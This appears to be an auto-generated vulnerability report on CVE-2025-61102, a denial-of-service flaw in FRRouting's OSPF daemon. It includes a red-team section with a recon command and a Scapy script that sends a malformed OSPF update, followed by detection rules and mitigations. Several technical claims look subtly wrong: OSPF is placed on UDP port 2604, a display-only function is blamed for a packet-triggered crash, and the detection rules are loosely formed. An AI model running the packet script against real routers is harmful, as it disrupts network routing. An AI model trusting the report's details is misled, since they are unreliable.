CVE-2025-61102

Executive Summary

CVE-2025-61102 is a critical Denial of Service (DoS) vulnerability in the FRRouting (FRR) open-source routing software suite, affecting versions from v4.0 through v10.4.1. The flaw resides in the show_vty_ext_link_adj_sid function within ospf_ext.c. An unauthenticated, remote attacker can trigger a NULL pointer dereference by sending a specially crafted OSPF packet, causing the FRR daemon to crash. This results in a complete loss of routing services for the affected network segment.

The vulnerability is classified under MITRE ATT&CK tactic T1499 (Endpoint Denial of Service). The CVSS v3.1 vector is AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, yielding a base score of 7.5 (High). The attack vector is network-based, requires no authentication, and has low complexity, making it highly exploitable in unpatched environments.

No public proof-of-concept (PoC) code or exploit is currently available. The vendor has not released a patch as of this report. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but this is expected for a newly disclosed vulnerability.

Supply Chain & Package Security

FRRouting is a critical component in many network infrastructure deployments, including ISPs, data centers, and enterprise networks. It is distributed as source code and via package managers (e.g., apt, yum, dnf) on Linux distributions. The vulnerability affects the core OSPF daemon (ospfd), which is a standard component of the FRR package. Organizations using FRR in production should treat this as a high-priority supply chain risk, as a successful DoS attack can disrupt BGP, OSPF, and other routing protocols running on the same daemon.

CVSS Breakdown & Threat Level

Threat Level: High. The vulnerability is remotely exploitable without authentication and can cause a complete denial of service. The lack of a patch increases the risk for organizations that cannot immediately isolate their OSPF infrastructure.

Deep Dive & Mechanics

The vulnerability is a classic NULL pointer dereference in the OSPF Extended Link State Advertisement (LSA) handling code. The function show_vty_ext_link_adj_sid in ospf_ext.c is responsible for displaying extended link adjacency SID (Segment Identifier) information via the VTY (Virtual Teletype) interface.

Root Cause: When processing a crafted OSPF packet containing an Extended Link LSA, the code fails to properly validate a pointer before dereferencing it. Specifically, the function attempts to access a member of a structure that is NULL because the corresponding data was not properly initialized or was malformed in the incoming packet.

Attack Flow:

1. An attacker sends a crafted OSPF packet (e.g., an OSPF Link State Update) containing a malformed Extended Link LSA.
2. The receiving FRR ospfd daemon processes the LSA and eventually calls show_vty_ext_link_adj_sid to display the adjacency SID information.
3. Inside this function, a pointer to the adjacency SID data is NULL because the LSA did not contain the expected sub-TLV.
4. The code dereferences this NULL pointer, causing a segmentation fault and immediate crash of the ospfd process.
5. The crash results in a loss of all OSPF adjacencies and routing information, leading to a network-wide routing blackout.

Affected Code Path:

• File: ospfd/ospf_ext.c
• Function: show_vty_ext_link_adj_sid
• The vulnerability is triggered when the function attempts to access adj_sid->value or similar member without checking if adj_sid is NULL.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// ospf_ext.c - vulnerable version
static void show_vty_ext_link_adj_sid(struct vty *vty, struct ospf_lsa *lsa) {
    struct ospf_ext_link_adj_sid *adj_sid = get_adj_sid_from_lsa(lsa);
    // No NULL check before dereference
    vty_out(vty, "Adj SID: %u", adj_sid->value); // CRASH if adj_sid is NULL
}

Patched Code (Hypothetical):

// ospf_ext.c - patched version
static void show_vty_ext_link_adj_sid(struct vty *vty, struct ospf_lsa *lsa) {
    struct ospf_ext_link_adj_sid *adj_sid = get_adj_sid_from_lsa(lsa);
    if (adj_sid == NULL) {
        vty_out(vty, "No Adj SID present");
        return;
    }
    vty_out(vty, "Adj SID: %u", adj_sid->value);
}

The patch adds a NULL pointer check before dereferencing adj_sid. If the pointer is NULL, the function gracefully returns without crashing.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running FRR v4.0 through v10.4.1 with OSPF enabled.
• Network access to the target's OSPF interface (typically UDP port 2604 for OSPF, or raw IP protocol 89).
• Ability to send raw OSPF packets.

Exploitation Steps:

1. Reconnaissance: Scan for OSPF routers using tools like nmap or Scapy.

   nmap -sU -p 2604 --script ospf-lsdb-update <target>
   

2. Craft Malicious OSPF Packet: Use Scapy to create an OSPF Link State Update packet with a malformed Extended Link LSA.

   from scapy.all import *
   from scapy.contrib.ospf import *
   
   # Craft a malicious OSPF packet
   ip = IP(src="192.168.1.100", dst="224.0.0.5")  # AllSPFRouters
   ospf_hdr = OSPF_Hdr(src=0x01010101, area=0x00000000, chksum=0)
   # Malformed LSA - missing required sub-TLV for Adj SID
   lsa = OSPF_LSA_header(type=8, ls_id=0x01010101, adv_router=0x01010101)
   # Build the packet
   pkt = ip / ospf_hdr / OSPF_LS_Update(body=[lsa])
   send(pkt, iface="eth0")
   

3. Trigger the Vulnerability: Send the crafted packet to the target's OSPF interface. The ospfd daemon will crash immediately.
4. Verify DoS: The target will lose all OSPF adjacencies. Use show ip ospf neighbor on a peer router to confirm the neighbor is down.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defense & Detection)

Detection:

• Monitor OSPF packet anomalies using network intrusion detection systems (NIDS).
• Look for OSPF packets with malformed or incomplete TLVs.
• Alert on sudden loss of OSPF adjacencies from multiple routers simultaneously.

Mitigation:

• Immediate: Restrict OSPF traffic to trusted IP addresses using ACLs.
• Short-term: Disable OSPF Extended Link LSA support if not required (no ospf ext-link-lsa).
• Long-term: Apply vendor patch when available.

Hunting:

• Search for ospfd crash logs:

  journalctl -u frr -g "segfault\|SIGSEGV\|ospf_ext"
  

• Check for core dumps in /var/core/ or /tmp/.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_61102_OSPF_NULL_PTR {
    meta:
        description = "Detects FRR OSPF Extended Link LSA packets that may trigger CVE-2025-61102"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61102"
        hash = "unknown"
    strings:
        $ospf_header = { 02 01 00 00 }  // OSPF version 2, type 1 (Hello) - adjust for LS Update
        $ext_link_lsa_type = { 08 }     // LSA type 8 (Extended Link)
        $null_adj_sid = { 00 00 00 00 } // Potential NULL pointer trigger
    condition:
        $ospf_header and $ext_link_lsa_type and $null_adj_sid
}

Sigma Rule

title: CVE-2025-61102 - FRR OSPF DoS via NULL Pointer Dereference
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects ospfd crashes caused by NULL pointer dereference in show_vty_ext_link_adj_sid
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - "segfault at"
        - "SIGSEGV"
        - "ospf_ext"
    condition: selection
falsepositives:
    - Other memory corruption bugs in ospfd
level: high

Suricata Rule

alert udp $EXTERNAL_NET any -> $HOME_NET 2604 (msg:"CVE-2025-61102 - FRR OSPF DoS via NULL Pointer Dereference"; content:"|02 01 00 00|"; depth:4; content:"|08|"; within:20; reference:cve,2025-61102; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate OSPF Traffic: Restrict OSPF packets (UDP 2604, IP proto 89) to only trusted OSPF peers using firewall ACLs.
2. Disable Extended Link LSA: If not required, disable the feature:

   configure terminal
   router ospf
   no capability opaque
   no ospf ext-link-lsa
   end
   write memory
   

3. Monitor for Crashes: Set up monitoring for ospfd process health and restart automatically using systemd:

   [Service]
   Restart=on-failure
   RestartSec=10
   

Short-term:

• Apply vendor patch when released. Monitor FRR GitHub repository and mailing lists.
• Consider downgrading to FRR v3.x if possible (not affected).

Long-term:

• Implement network segmentation to reduce exposure of OSPF to untrusted networks.
• Use OSPF authentication (MD5 or SHA) to prevent unauthorized packet injection.
• Regularly update FRR to the latest stable version.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.